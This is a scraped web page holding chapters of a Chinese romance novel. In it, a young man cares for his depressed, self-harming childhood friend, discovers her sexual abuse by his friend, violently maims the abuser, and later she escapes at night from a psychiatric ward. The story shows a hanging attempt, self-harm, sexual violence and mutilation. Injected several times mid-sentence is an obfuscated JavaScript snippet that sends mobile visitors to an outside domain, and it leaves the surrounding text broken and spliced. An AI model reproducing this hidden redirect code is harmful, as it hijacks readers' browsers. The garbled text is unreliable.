可是,为什么他越走越慢? 他在害怕什么? 他在恐惧什么? 艾嘉的脸好苍白,苍白的几乎没有血色。 他的小嘉同学,怎么了? 迟予辰在距离艾嘉两步之遥的地方停住,他不敢上前了。 他轻声喊艾嘉:“小嘉同学。” 没有回答。 “小嘉同学。”迟予辰的声音提高了下。 依然没有回答。 “小嘉同学,你醒醒!”迟予辰的声音开始发涩发哑。 房间里很安静,回答他的只有窗外的啁啾鸟鸣。 “小嘉同学,小嘉同学……”迟予辰几乎用尽全身力气,往艾嘉迈了两步,终于走到她身边,他的声音里已经带了哭腔。 他把手刚想往艾嘉的鼻子上探去,手却被她一把抓住,吓得他心跳加快,刚想落下的眼泪瞬间被吓了回去。 “小嘉……”迟予辰看到艾嘉睁眼,惊得说不出话来。 艾嘉揉揉眼睛,笑着说:“迟哥,你怎么在这里?” 虚惊一场,她还活着。 迟予辰终于松了口气,但看到她脖子的勒痕,还是心有余悸,指着挂在吊灯上的绳子问她:“小嘉同学,你不想活了吗?” “迟哥,你说什么啊,我怎么可能不想活。”艾嘉又笑,笑得比任何时候都灿烂。 她望着从窗外射进来的阳光,摸着那束温暖的光:“我要活着,活在阳光下,跟迟哥一起。” “那你为什么要这样对自己?”迟予辰气道,“你知不知道这样很危险?” “可能是梦游吧。”艾嘉撒谎,“我不想这样做啊。” “你现在有梦游症?”迟予辰惊讶地看她。 “应该是的。”艾嘉不得不圆谎,“好几次我醒来,都发现我睡在地上,吊灯上有绳子,脖子上有勒痕。” “这样不行。”迟予辰不清楚她说的真假,难道她真的是别人口中的“神经病”,她疯了,所以言行举止都跟从前不一样了? 他不能让这样的她一个人生活! * 国庆节最后一天,迟予辰没有回去,把高铁票退了,跟学校请了一星期假。 迟爸迟妈得知后,不同意,但他一意孤行,说要带艾嘉去看病。 迟妈说:“她爸都不管她,你作为一个外人,有什么义务来管她?” 迟予辰说:“妈,她不是外人,她是小嘉,是跟我一起长大的小嘉。她现在生病了,我不能丢下她不管。” 他的小嘉同学,他要好好守护,让她活在阳光下。 迟爸直接打了他一巴掌,骂他“混账东西”。 迟予辰不在乎,爸妈打他骂他都可以,他确实没有听他们的话。 这是他第一次跟家里对着干,因为艾嘉。 那天,迟予辰给艾嘉预约了精神科的号,带艾嘉去医院,她死活不去,说自己没病,为什么要去医院。 这之后的两天,她都以同样的理由拒绝。 迟予辰看到她脖子上、手腕上都有不同程度的伤痕,彻底忍不住了。 想着,是把她五花大绑着绑去医院,还是用别的办法? 他想了个办法,说要带她去游乐场玩。 艾嘉心心念念了很久,答应他可以去。 结果,刚到医院门口,艾嘉便立刻知道迟予辰骗了她。 艾嘉使劲挣扎着想要摆脱迟予辰,她又急又气又暴躁,在医院门口大声骂迟予辰是骗子。 最后实在没办法,迟予辰花高价找了个私人心理医生上门帮忙看,但不是以医生的身份,而是以朋友的身份。 那个心理医生姓王,见了艾嘉没有立刻去问她各种各样的问题,而是先把她当朋友相处,建立一定的感情基础,得到她的信任后,再一步步引导她,让她说出近期的一些情况。 艾嘉对陌生人有警惕心,但一旦打开心房,那些藏在心里的事,便呼之欲出。 当然,关于霍盛源对她的事,始终是最深的秘密,她不会告诉任何人。 她跟王医生说了她的状态,有时很暴躁,有时很颓丧,有时又很正常,她不知道哪个才是真实的她,她觉得人生无序又混乱。 王医生走的时候,迟予辰送他出门。 他们走到楼下,王医生跟他说:“就她陈述的,她现在已经有严重的抑郁症、偏执症,甚至有自/sha倾向,需要及时就医。” 迟予辰不知道自己是怎么走上楼的,每一步都很沉重。 他的沉睡公主生病了,还得了很严重的病,从什么时候开始的? 为什么她没有告诉自己? 也是,她从来不觉得自己有病,怎么会告诉他。 难道是她好朋友的离开,给她带来了巨大的伤痛,早期没有得到很好的心理干预,所以才会演变到今天这个地步? 可是,为什么暑假期间,她一直都好好的。 迟予辰想起蓝海湾那次,她手臂上、脖颈上、后背的伤痕,是不是从那时候,甚至更早,她就有自/虐倾向? 他走到三楼,忽然停住,蹲在过道上,双手捂住脸颊。 须臾,有温热的液体沿着他的指缝往下滑。 他的肩膀止不住地颤抖着,越抖越厉害,像无助的小狗。 多希望,他来承受,她受过的所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048330|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的伤。 多希望,她不要再虐待自己。 多希望,她能好起来! * 眼看一周即将过去,艾嘉还没有得到过一次治疗,迟予辰心急如焚。 接下来,要回学校,还是继续留下来陪艾嘉? 他陷入两难。 如果回学校,艾嘉算是完了。 如果留下来,艾嘉不一定能配合治疗,就连他的学业都要耽误。 他该怎么办? 迟爸迟妈天天念叨着让他赶紧回学校,苦读十二年,为了艾嘉,要葬送他的大好前程吗? 他说,他会考虑一下。 迟爸明确跟他说:“票给你买好了,明天的,你要是不去,以后别进这个家门!” 那晚,迟予辰跟艾嘉说:“你希望迟哥留下来,还是去上学?” 艾嘉说:“迟哥,你赶紧回去上学吧,你留下来做什么!你不用陪我,我没病,我很好,我可以照顾好自己。” 她的眼里有笑意,好像还是他认识的那个小嘉同学。 她如此善解人意,迟予辰的心更疼了,宛若电钻在钻着他的心。 她这么好,应该得到好的治疗,应该值得拥有一个好的未来。 给她爸打电话,让她爸回来带她去治疗? 但迟予辰知道,艾嘉的爸爸那么好面子,又怎么会承认自己的女儿有精神病。 迟予辰深思熟虑一番,第二天没有去学校,而是又跟学校请假了,这次请了一个月,请假理由是自己生病了。 那天,迟爸得知迟予辰不回学校的消息大发雷霆,拍着桌子吼他:“混账东西,以后别进这个家门!” 迟妈心疼自家儿子,让他再好好考虑考虑,是自己的前途重要,还是陪着一个神经病重要。 他听着“神经病”三个字,格外刺耳,没有跟他们继续对峙,而是匆忙地拿了几件换洗衣物和必需品,离开了是非之地。 从此,迟予辰搬进了艾嘉家,他家就在艾嘉家对门,但他有家却不能回了。 整栋楼的邻居们开始说起了闲话。 有说“迟予辰趁人之危,虐/待神经病”的,有说“神经病发疯,成了狐狸精,把迟予辰拖进她家”的,也有说“他们早就搞在一起”的…… 各种风言风语从一栋楼传到另一栋楼,到最后,整个小区都传遍了。 迟予辰走在路上,会感到旁人朝他投来的异样眼神,会听到各种议论。 他表面不在意,全当空气,但心里格外不痛快。 然而,他没有办法。 既然选择了这条路,哪怕再难,他都要坚持走下去。 * 跟艾嘉待的时间越久,迟予辰渐渐掌握了她的一些规律。 白天很多时候,她都比较正常,偶尔发作。 晚上是她最暴躁的时候,会发狂,也会自/虐。 他越阻止,她越发疯。 他觉得晚上的她极度可怕,曾想过要不然就这样吧。 他能怎么管,他好像什么都管不了。 有时想过放弃,但心里有个声音告诉他:如果连你都放弃她了,还有谁可以帮她。 他的沉睡公主,住在黑暗城堡,里面住着无数怪兽。 常常晚上来找她,让她的美梦破碎,让她走进幽暗森林,让她的世界疯癫。 他想让那些怪兽放她一马,可那些怪兽还是叫嚣着汹涌而至。 那他就做跟怪兽搏斗的勇士,不管它们多凶险,他都要搏一搏,搏一场关于拼凑美梦的战役。 这场战役,他不能输! 23. 发现隐藏的秘密 迟予辰会趁着艾嘉精神状态好的时候,跟她好言好语地说各种关于生病了要好好治疗之类的话。 当她接受后,他会把她的一些暴躁、自/虐的状态讲出来,问她这样要不要治,她说,要治。 迟予辰又继续说:“你看你身上都这样了,都是你自己弄的,要不要治?” 艾嘉认真点头:“肯定要治啊!” 迟予辰便以这样哄小孩般的方式,把她哄去了医院,医生开了药。 每天到点,迟予辰又会哄小孩似的,让她吃药。 会遇到艾嘉抗拒的时候,迟予辰就会拿出艾嘉之前写的记录说:“小嘉同学,你看,这是你状态好的时候写的,提醒状态不好的你,要好好吃药,迟哥没骗你。” 艾嘉这才乖乖吃药。 那段时间,迟予辰有几次晚上站在阳台上晾衣服的时候,看到楼下闪过去一抹身影,有些眼熟,他问是谁,没人应答。 也许只是路过的一个邻居吧,他也没多想。 有一次,他竟然看到有个人倚在墙角抽烟,看样子有点像霍盛源,他喊他:“霍帅哥,是你吗?” 迟予辰看到那个人看都没看他,像没听到似的,不急不缓地走了。 但他发现,有这些身影在的几天,艾嘉有时不安,有时烦躁,有时又会下楼,说要出去一趟。 他要跟着去,她不让。 每次回来,都要到深夜,迟予辰开始觉得不对劲,她出去做什么也不跟他说,每次回来整个人的状态格外差,眼神空洞无神,浑身疲惫乏力,能躺床上一天,像株毫无生机的植物。 有次,等她睡醒了,迟予辰端着一碗热乎乎的西红柿蛋汤,拿着勺子,吹温了,递到她嘴边,一口一口地喂她。 看她吃得知足了,又哄着她吃了药。 见她眼睛里有了些许神采,迟予辰才小心翼翼地问:“小嘉同学,能不能告诉哥哥,你晚上会去哪里。” “我会去找……”艾嘉差点脱口而出,意识到不能说,连忙止住。 “去找谁?”迟予辰侧头盯着艾嘉,一副急于从她口中得知答案的神情。 “我去找……”要不要告诉迟哥?现在也只有迟哥能救她了。 可是,告诉迟哥了,然后呢?他能怎么办?让他亲眼看着霍盛源对她做那些恶行,让他拍下来,让他做证人? 不!不能这样! 她那副肮脏的样子,为什么要让迟哥看到? 她期待着,有一天,霍盛源把她玩腻了,她也就解脱了。 艾嘉扯了个谎:“迟哥,我去找我高中同学的。” “哪个高中同学?” “你不认识啦。” “嗯。”迟予辰嘴上应着,但心里不信。 于是,他打算去寻找真相。 他记得很清楚,那天是周五,是他陪艾嘉的第三周,10月17号。 艾嘉又出门了,迟予辰尾随而去,他想看看,她外出做什么,为什么每次回来,都像变了一个人。 迟予辰看到艾嘉上了一辆公交车,他抬手拦了辆出租车,让出租车跟着公交车。 公交车停了一站又一站,迟予辰每次都要仔细看下车的人里面有没有艾嘉。 公交车上的乘客都下车了,艾嘉还没下车。 在最后一站,迟予辰才看到艾嘉下了车。 迟予辰下了出租车,小心地跟在艾嘉后面,看着她进了一个老旧小区,跟着她绕来绕去,在最后一栋楼前,她拐进了第四单元。 这里面都是灰扑扑的老楼,墙体剥落,上面贴着各式各样狗皮膏药似的小广告。 他抬头看,整栋楼没有亮一盏灯,旧得大概都没人住吧。 迟予辰刚想往楼道里走,看到二楼有一扇窗户的灯亮了。 艾嘉走进这个房间了? 迟予辰急切地想知道她去见了谁,冲进楼道。 楼道很黑,没有一盏灯,他只好摸黑上去。 走到二楼,过道上黑漆漆的,唯有从一扇门的缝隙里透出点光。 迟予辰放慢脚步,几乎踮着脚走路,不让自己发出一点声音。 走到门边,听到里面传来艾嘉的声音:“你什么时候才放过我?” “小宝贝,你这么好玩,我怎么可能放过你!” 听到男声的时候,迟予辰瞬间愣住,这声音他太熟悉了,是他好朋友霍盛源的! 前两天两人刚见过面,霍盛源劝他,让他回学校上学,留下来照顾艾嘉什么时候才是个头。 难道艾嘉每晚见的人是霍盛源? 霍盛源对艾嘉做了什么? 迟予辰气得捏紧了双拳,但他忍住怒火,继续听里面的动静。 “来,学妹,乖乖把衣服tuo了。”霍盛源的声音里带着yin/邪的笑,“怎么还不脱,让学长脱的话,就得si啦!” 禽兽!禽兽!!! 迟予辰捏紧的拳头抬起来,想朝门砸去。 但下一秒,理智取代冲动。他急忙转身,又踮着脚退回去,再抹黑匆匆走下楼梯。 迟予辰来到楼下,跑到那个亮着灯的房间的下面,想着怎么上去,幸好,外面有一根管子。 他顺着管子往上爬,起初爬得不顺利,几次差点要滑下来,但他靠着臂力、腿力,硬是稳住了。 到了一楼人家的阳台,他跳进去,又顺着管子往上爬,很快爬到二楼霍盛源所在房子的阳台。 阳台是露天的,迟予辰爬进去,看到阳台上有一扇门,他刚想蹑手蹑脚地走过去,听到旁边的客厅传来一阵鞭打声和隐忍的女声。 迟予辰停住脚步,爬出阳台,又攀附在管子上,看到客厅的窗户没关严实,秋日阵阵凉风吹进去,吹得里面拉好的纱帘掀开一角。 眼前的一幕,让迟予辰差点没抓住管子掉下去,他慌忙地紧紧拽住管子。 他看到,他的沉睡公主,身体被黑色绳子绑住,眼睛被黑布蒙上,嘴里被塞着某个东西,她正弯腰趴在茶几上,以一种极其羞辱的姿势被迫迎接着霍盛源的bao/行,被迫接受着他甩下的鞭子。 鞭子在她身上烙下一道道红痕。 迟予辰极为震惊,瞳孔变大,心间仿若袭来一波又一波地震,震得他又怒又疼。 他双眼冒出怒火,几乎要将里面那个禽兽燃尽。 迟予辰手上的力气越来越少,快要掉下来时,他的理智才瞬间回笼,顺着管子往上爬,又爬到了阳台上。 阳台上的门没锁,迟予辰轻轻一推便推开了。 他轻手轻脚地走进房间,没有立刻跑去客厅,而是借着月色,在房间里逡巡,看到这个房间跟他见过的任何一家的房间都不一样。 房间里摆放了两张窄床,床上摆了各种铁链、器具之类的。 他在靠门的那个床边看到摆了一个竖桶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056579|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,里面放了各种各样的器具,他挑了一根类似棒球棒的棍子。 迟予辰小心翼翼地往外走,不让自己发出一点声音。 他还没走到客厅,便听到激烈的声音,类似鼓掌的声音,还有鞭子抽打的声音,他心底的怒火熊熊燃烧。 霍盛源,这个衣冠禽兽,竟然做出这种恶心事! 迟予辰快走到客厅时,偷偷往那儿看,霍盛源背对着自己,正在对艾嘉进行着疯狂的jian/踏。 他咬紧牙,几乎要把后槽牙咬碎。 他一秒都不想看下去了,疾步往客厅跑去,趁霍盛源还沉迷在他的施/nue行动中,迟予辰挥舞着棍子往他身上、腿上胡乱地猛砸一通。 霍盛源显然没料到会在自己尽兴时,有人来破坏,还是一种惊天动地的破坏。 他被棍棒打得抱头乱窜,同时,嘴里还不忘大声怒骂:“你他/妈是谁?” “我是你爷爷!”迟予辰照着他的膝盖弯处使劲打,打得他一条腿跪地上,再打得他另一条腿跪地上,听到他口中直喊“饶命”,他都没有松手。 这是他第一次揍人,还揍得如此狠。 彼时,迟予辰觉得,不管自己打这个禽兽多少下,都无法解心头怒火。 艾嘉的眼睛还被蒙着,在黑暗中,所有的声音都被放大,她听出来了,解救自己的是她的迟哥。 是她的迟哥! 她的迟哥来了!!! 艾嘉想到自己这副被人凌/ru的模样,吓得连忙从茶几上爬起来,拼命挣脱开被绑住的手,摘掉眼罩、脚上的绳子、嘴里的东西,顺手从沙发上拿起一件衣服盖到身上。 她看到迟予辰疯了一样,用棍子一下一下地往霍盛源的身上砸。 他的眼睛红得要冒火,额头上的青筋暴出,紧紧咬着牙。 艾嘉怕迟予辰再这样打下去,要把霍盛源打死,连忙喊:“迟哥,够了,别打了!” “今天看我不打死你!”迟予辰所有的怒火都集中在霍盛源身上,打累了也没停。 “迟哥,你这样打下去,会把人打死的,打死了,你也活不成。”艾嘉万分焦急,带着哭腔。 她的迟哥会有大好前程,怎么能为了她,做这种不理智的事。 艾嘉看到迟予辰终于扔下了棍子,那颗提起来的心,才终于一点点落下来。 “迟哥,迟哥……”艾嘉一遍遍喊他,眼里蓄满泪水。 可是,为什么她的迟哥看都不看她一眼? 他要做什么? 艾嘉看到迟予辰从一旁的柜子上拿了一把剪刀,用力踢霍盛源,把他踢得翻了个身。 面朝霍盛源,迟予辰眼里几乎要喷火。 “迟予辰,你把剪刀放下,有话好好说。”霍盛源吓得直往后退,退到茶几处,退无可退。 迟予辰拿着剪刀,一步步朝霍盛源靠近。 他弯腰把剪刀的尖头抵到他脸上,再到他脖颈,沿着他的上身一路下移到他的腹部。 霍盛源吓得动都不敢动,任由他拿着剪刀对他进行心理上的凌迟。 艾嘉看得心惊肉跳,看着迟予辰把剪刀继续往下移,听到他说:“禽兽,今天我就让你断子绝孙!” “迟哥,别!”艾嘉睁大眼,大声喊。 但迟予辰的动作没有停,她吓得闭上眼。 很快,艾嘉听到霍盛源传来一声“啊”,凄厉又痛苦。 24. 病情发作 艾嘉根本不敢睁眼看,吓得身体哆嗦得厉害,衣服从肩头滑落,伴随而来的还有滚落的泪水。 有人给她拉好衣服,将她抱在怀里,发出如同困兽般的低语: “小嘉同学,为什么不告诉迟哥?迟哥不是跟你说过,以后,迟哥保护你的吗!” 艾嘉睁眼,垂眸间,看到迟予辰右手上纵横着的都是鲜血。 她声音颤抖:“迟哥,他……” 迟予辰打断她:“好了,小嘉同学。” 他轻轻拍着艾嘉消瘦的肩膀:“有迟哥在,不怕。” 艾嘉越哭越凶,几乎流光了她所有的眼泪,哭得快昏厥过去。 她觉得自己的脑袋混沌到不行,无数个小人儿在脑中奔跑,羞耻的、痛苦的、无助的、绝望的,它们如一张张密密麻麻的大网,交织在一起,将她层层缠住,她快无法呼吸,昏倒在迟予辰的怀里。 * “后来发生了什么?”驰路急切地问,她没想到迟予辰竟然对艾嘉那么好,好到不顾学业,一次次为她请假,留在她身边。 在给驰路讲的这段故事里,霍盛源对她的施虐细节,迟予辰怎么对霍盛源的,都一句话带过。 即便一句话带过,艾嘉想起当时的场景,勾起霍盛源对她做过的所有暴行,她的身体本能地哆嗦,心里泛起阵阵恐惧。 霍盛源的老二没了吗? 迟哥会不会有事? 她的迟哥一定不会有事的! “我醒来时,就在家里的床上,手脚都被绑着。”艾嘉回忆道,“我看到爸爸回来了,他就站在我床边,用一种我从未看过的阴沉的眼神看我,我叫他‘爸爸’。他没有回答,点了一根烟,抽了一口又一口,又点了一根,抽了一口又一口,又点了一根,抽了一口又一口。他抽了好多根烟,抽的时候,没看我一眼,一直望着窗外。最后,他跟我说,爸爸带你去个好地方,你从没去过的地方,你一定会喜欢。” “所以,你是被骗来的?”驰路问。 艾嘉点点头:“我爸从没骗过我,他说什么我都相信,我没想到那次他会骗我!” “这世上哪有从来不说谎的人。”驰路摇头。 “迟哥就从不骗我,他说什么都会实现。”艾嘉目光里透出一丝光。 “他不是说保护你的吗,人呢,都不来看你一次!”驰路又摇头。 “他会来看我的!”艾嘉望向窗外,想起了昨晚在窗前点燃的三根仙女棒,想起了拿着仙女棒的骨节分明的手,可惜头发有些长,是个女生,要不然她还以为是她的迟哥。 “你的迟哥会不会……”驰路从艾嘉刚才的讲述里,觉得霍盛源应该受了伤,至于伤重不重,她不知道。 但驰路知道,他犯了故意伤人罪,是要拘留或坐牢的,如果把霍盛源打成轻伤,得关一段时间,打成重伤的话,怎么也得判三年以上。 “我的迟哥,现在应该在准备期末考试,等着放寒假吧。”艾嘉眼里满是期待,“等他回来了,他一定会来看我。” 驰路哑口无言。 她不想戳破艾嘉的美梦,就让她活在美梦里吧,总好过在破碎中度日。 “走吧,小嘉同学。”驰路从床上跳了下来,站在地上,朝艾嘉伸手。 “去哪儿?”艾嘉一怔。 “你忘了吗,”驰路说,“每个月还有逢年过节,我们都可以给家人打电话,一人十分钟。” “他们这么过分,才十分钟!”艾嘉不满,把手放在驰路的手心,从床上下来。 “谁让他们现在是天王老子,我们不过是平民。”驰路说完觉得不对,更改道,“错了,我们不是平民,我们是被他们养在笼子里的鸟,一只只飞不出去的鸟。” “总有一天,我要飞出去的。”艾嘉愤恨道,“我才不要被关在这里!” 谁想要被关在这里! 驰路心里有个声音在呐喊,无时无刻不在期待着能跳出重重包围的高墙。 她们刚想走出去,看到三天未见的另一个病友回来了,是杨雨菲。 她垂着脑袋,满脸颓然,脸色干枯,双眼无神,像一具行尸走肉。 “她怎么了?”艾嘉只记得她被拉出去的那天哭得撕心裂肺,哭得她暴躁地想锤墙。 “被关小黑屋了。”驰路在她耳边低声说。 “为什么?” “在屋里发疯。” “哦。”艾嘉想起了之前自己也发疯,也被拉去关小黑屋。 她想了日记里记录的那些事,在心里感慨:这真是个不把人当人看的地方! 逢年过节,打电话处格外忙,整个电话厅里全是人,驰路和艾嘉来晚了,只好在密密麻麻的人群后排队。 排队时,驰路问艾嘉:“艾嘉,你想打给谁,想好了吗?” 十分钟很珍贵,到点就被掐断。 艾嘉想都没想说:“打给迟哥。” “你爸呢?” “他?”艾嘉冷笑,“也可以吧,沟通沟通感情,看看他能不能把我接回家。” 驰路笑,笑艾嘉想得太天真,就她现在这种状态,她爸能把她接回去才怪! 排了半个小时才到她们,驰路让艾嘉先打。 艾嘉什么都可以忘记,但爸爸、妈妈、外婆、迟予辰的手机号倒背如流。 如果妈妈、外婆还在,她一定也会打给她们,告诉她们,自己很好。 她没有先拨给爸爸,而是先拨了迟予辰的手机号,但里面传来机械的女声:“你拨打的电话已关机。” 她又打,连续拨打了五次,都是一样的结果。 艾嘉还想继续拨打,驰路从她手里夺过话筒:“你迟哥的手机可能没电关机了,别打了。” 艾嘉这才拨打爸爸的电话,第一遍没接通,第二遍还没接通,第三遍嘟嘟嘟的声音响到快自动挂断,她已经不抱希望,竟然听到对方传来一声“喂”。 是她爸爸的声音,她不记得上次听到爸爸的声音是什么时候,但这次听来却觉得格外亲切。 “爸爸。”艾嘉低声说。 “是小嘉啊。” “爸爸,元旦快乐!” “小嘉,元……” “老公,今天你不是说陪我吗,在接谁的电话啊?”电话那头传来娇软的女声。 艾嘉以为自己出现了幻听,不敢置信地问爸爸:“爸爸,谁在叫你老公?” “没有,你听错了。”艾爸说。 “爸爸……” “赶紧挂了吧,陪我!”传来亲吻声。 艾嘉“啪”地用力挂断电话。 驰路就在她身后,刚才艾嘉打电话时,她特意凑上前去听,有的地方没听清,但“老公”却听得清清楚楚。 驰路刚想安慰她两句,却听到她不受控制地发出一声尖利的“啊!!!”,然后疯了一样,把头往电话上撞,狠狠地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我先去探路,看看护士有没有打瞌睡或是睡觉。”艾嘉说,“如果在睡觉的话,我们就可以偷偷溜出去了。” “也不是不行。” “那……咱们走吧!”艾嘉套上羽绒服外套。 “走!”驰路边穿衣服边说。 艾嘉朝她伸手。 驰路把手搭到了她的手心,跟着她一起悄悄地出了病房。 两人贴墙而走,都走得小心翼翼,尽量让自己不发出一点声音。 过道过于安静,安静到稍微有点动静,都能听见。 她们听见从各个病房里发出的呼噜声。 走到护士台时,如艾嘉所言,值班护士正用手撑着脑袋打瞌睡。 两人刚想从墙根处拐出来,却见值班护士打了个哈欠,吓得两人都躲回墙根处。 别看这儿环境、伙食不咋样,但规章制度倒不少,要是被发现谁晚上偷偷跑出去,会视情况做出相应的惩罚。 她们可不想被抓住。 虚惊一场后,两人从墙根处走出来,都踮着脚尖走路,迅速地往大门的方向走去,却发现门上锁了。 怎么办?难道去偷钥匙? 25. 出逃计划 谁那里有钥匙? 驰路想了想,骤然灵光一现,赵阿姨有钥匙啊! “走!”驰路拉着艾嘉又退回去。 “怎么办?”艾嘉苦着脸。 “你跟赵阿姨关系不错,我们去找她,看看她能不能帮咱们开门。”驰路提出建议。 她们正商量着,艾嘉的肩膀被人拍了下,惊得差点叫出声,连忙捂住嘴,止住叫声。 艾嘉转过头,来人正是她们说的赵阿姨。 她们把想法跟赵阿姨说了,赵阿姨跟她们说:“跟我来。” “去哪儿?”艾嘉跟在她后面。 “待会儿你们就知道了。” 她们跟着赵阿姨绕来绕去,在一扇破旧的铁门前停住。 赵阿姨拿出钥匙,打开这扇门:“你们从这儿走,五分钟之内必须回来,我在这儿等你们。” 时间紧迫,艾嘉跟赵阿姨说了“谢谢”,便朝外面跑去。 黑暗中,就在她以为自己要迷失方向时,却还是第一时间来到了她的病房前,找到了那盏亮着的水晶球。 艾嘉关掉水晶球的灯,把水晶球藏在宽松的羽绒服里,正想返回去,突然听到有人喊:“谁在那儿!” 是一个粗犷的男声,难道是传说中巡夜的孙阎罗? 不管是谁,这人肯定想抓她们。 艾嘉拽起驰路的手往前跑,跑着跑着,驰路跑到她前面,换成驰路拉着她跑。 耳边是冬日凛冽的寒风,眼前是月色笼罩的树,艾嘉第一次觉得这里好像没那么差,今晚的夜色挺美。 她想起了,在蓝海湾,她的迟哥牵着她的手,踩在柔软的沙地上,带着她朝闪烁着蓝光的海边奔跑。 …… 后面的人,没有追上她们。 她们跟赵阿姨汇合,艾嘉还想道谢,赵阿姨让她们快点回去。 回到病房,两人气喘吁吁,关上门,靠在门上,看向彼此,笑了。 艾嘉坐到床上,拉下羽绒服拉链,从里面小心翼翼地拿出水晶球。 驰路也坐过去:“会不会是哪个魔法师丢在那儿的?” 艾嘉没回答,而是把水晶球放在膝盖上,像对待珍宝般地用双手捧着,生怕会掉下来。 她把每个地方都看了个遍,脸上的笑容从花骨朵儿绽放成花朵。 驰路不明白为什么她要看那么久,仿佛在研究什么绝世祖传宝物。 “看出点什么了吗?”驰路问。 “这是我的。”艾嘉眉眼间溢满笑容。 这是这几天,驰路见过她笑得最开心的一次。 “什么?”驰路不相信。 “这是我的。”艾嘉重复一遍。 “你的?”怎么可能是她的,这是哪里?这里是守卫森严的“善安”精神病院,除了飞禽能进来,其他外人一律不能入内,除了一个月一次的探视。 “是我的!”艾嘉把水晶球翻过来,指着下面一行字,看到上面的字母了吗? “没有。”屋里太黑,驰路压根儿看不到一个字母。 “来这里。”艾嘉钻进被窝里,驰路也钻进去。 艾嘉打开水晶球的开关,黑漆漆的被子里顿时像洒满了星光般闪亮。 驰路看过不少好东西,但看到这个充满浪漫味道的水晶球时,还是惊了下。 水晶球里面正在下一场梦幻的白色雪花,雪花纷纷落在粉色城堡上。 “好看吧。”艾嘉说。 “好看。” “不会是你的迟哥送你的吧?” “是。”艾嘉把水晶球翻了过来,借着些微的光,隐约可见背面的一行字,刻上去的,抹不掉。 “看到了吗,字母在这里。”艾嘉指给驰路看。 驰路凑近了,好容易才看清上面的字母,在粉色底座上刻着白色的三个字母:CLJ。 “这什么意思?”驰路微微蹙眉。 “我也不知道。”艾嘉说,“之前问过迟哥,他说随意发挥的,有字母,逼格才高。” 藏在水晶球底座的字母,是后来艾嘉无意间发现的,跟他送给自己的甜橙糖果上的字母一样。 为了提高逼格,放在甜橙糖果上她能理解,但刻在水晶球的底座上,她实在想不通。 “艾嘉,你迟哥喜欢你吗?”驰路望向艾嘉。 艾嘉把水晶球放下来,望着玻璃罩里变化的色彩,正变到梦幻紫:“他当然喜欢我!” “我是说,那种男生对女生的喜欢,不是竹马对青梅的喜欢。” “不知道啊。”艾嘉从来没有想过这事。 * 睡之前,艾嘉借着水晶球的光,躲在被子里写日记。 2016年1月1日晴 迟哥,你在哪里? 有位沉睡公主想你了。 …… 这晚,艾嘉抱着水晶球入眠,是入院以来睡得最踏实、最安稳的一次。 她做了场梦,梦里有座粉色城堡,城堡里住着一位沉睡公主,每次醒来,都会遭到恶魔的百般折磨。 忽然有一天,来了位持刀骑士,拔出锋利长剑,捅进恶魔的咽喉,恶魔从此消失。 沉睡公主再不会被恶魔缠身,再不会日日失眠。 她生命里的黑暗,终于走向终结,那些曾经无法企及的光明笼盖四野。 * 隔天醒来,艾嘉望着窗外,一束明媚的阳光照进来,正好笼罩着她。 有些刺眼,艾嘉用手遮在眼睛上方,似乎能看到窗外郁郁葱葱的常青树,看到常青树上晶莹剔透的露珠,正泛着耀眼的光泽。 又是新的一天,世间万物,似乎都在闪光。 下午接受治疗时,正是艾嘉主人格的时候,金医生让她撩起衣袖给他看,看到她手腕上、手臂上并没有添加新的掐痕,适当夸她:“艾嘉,你这两天做得很好,善待身体,才是善待自己的开始。” 从金医生的办公室出来,艾嘉在光滑又湿漉漉的地板上跳起了舞,舒展手臂,踮起脚尖,旋转,宛若花丛中的花仙子,正跳着世间最美的舞蹈。 她用轻快又婉转的语调唱着:“你发的娃娃脸,降落在身边,可惜我还没有发现。你画的娃娃脸,拿铁上圈点,倒一杯爱情的香甜……” 光洁瓷砖上,倒映着她的身影,纤瘦的,雀跃的。 …… 艾嘉回到病房,见驰路在,拉住她的手,悄声说:“驰路,我们逃吧!” 她这是又变成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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驰路掀开密密树丛,探出半个脑袋,睁着她那双犀利妩媚的狐狸眼,瞧着外面是否有巡逻人员。 没人。 驰路拉着艾嘉的手刚想走出去,忽然听到外面传来走路的声响,她不敢动了,弯下腰。 艾嘉也听到了这声响,立刻收步。 外面的脚步声越来越近,近得几乎贴着她们的耳朵。 透出密密的树枝,艾嘉看到树丛外站着一个人,穿着一双黑皮鞋,皮鞋上沾了泥,有几处却亮得发光,那光像是夺人心魄的恶灵,要把她们都抓去。 